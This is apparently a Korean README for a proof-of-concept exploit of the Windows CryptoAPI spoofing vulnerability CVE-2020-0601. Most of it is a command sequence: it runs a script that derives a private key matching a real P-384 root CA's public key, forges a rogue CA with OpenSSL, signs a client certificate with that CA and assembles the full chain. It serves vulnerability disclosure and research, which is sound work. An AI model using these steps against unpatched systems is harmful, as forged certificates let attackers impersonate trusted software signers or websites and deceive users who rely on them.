
Windows CryptoAPI 스푸핑 취약점(CVE-2020-0601)에 대한 개념 증명 익스플로잇으로, 타원 곡선 키 조작을 통해 rogue CA 인증서 생성을 시연합니다.
CVE-2020-0601: Windows CryptoAPI 스푸핑 취약점 악용. 자세한 내용은 블로그 게시물을 참조하세요.
pip install -U -r requirements.txt
인증서 생성은 OpenSSL 버전 1.0.2u까지 지원됩니다.
우리는 USERTrust ECC Certification Authority를 사용했지만 P-384 곡선에서 작동하는 모든 루트 인증서를 사용할 수 있습니다.
루트 인증서의 공개 키와 일치하는 개인 키를 생성하기 위해 gen-key.py 스크립트를 사용했습니다 (Python 3.6 이상에서 작동):
$ ./gen-key.py RootCert.pem
키는 다음으로 표시할 수 있습니다:
$ openssl ec -in p384-key-rogue.pem -text
그런 다음 가짜 CA를 생성합니다:
$ openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -config ca.cnf -days 500
그런 다음 다음 개인 키와 인증서를 생성합니다:
openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem
openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr
openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf
마지막으로 단일 파일에 전체 체인을 만들기 위해 CA와 서버 인증서를 연결합니다:
cat client-cert.pem ca-rogue.pem > cert.pem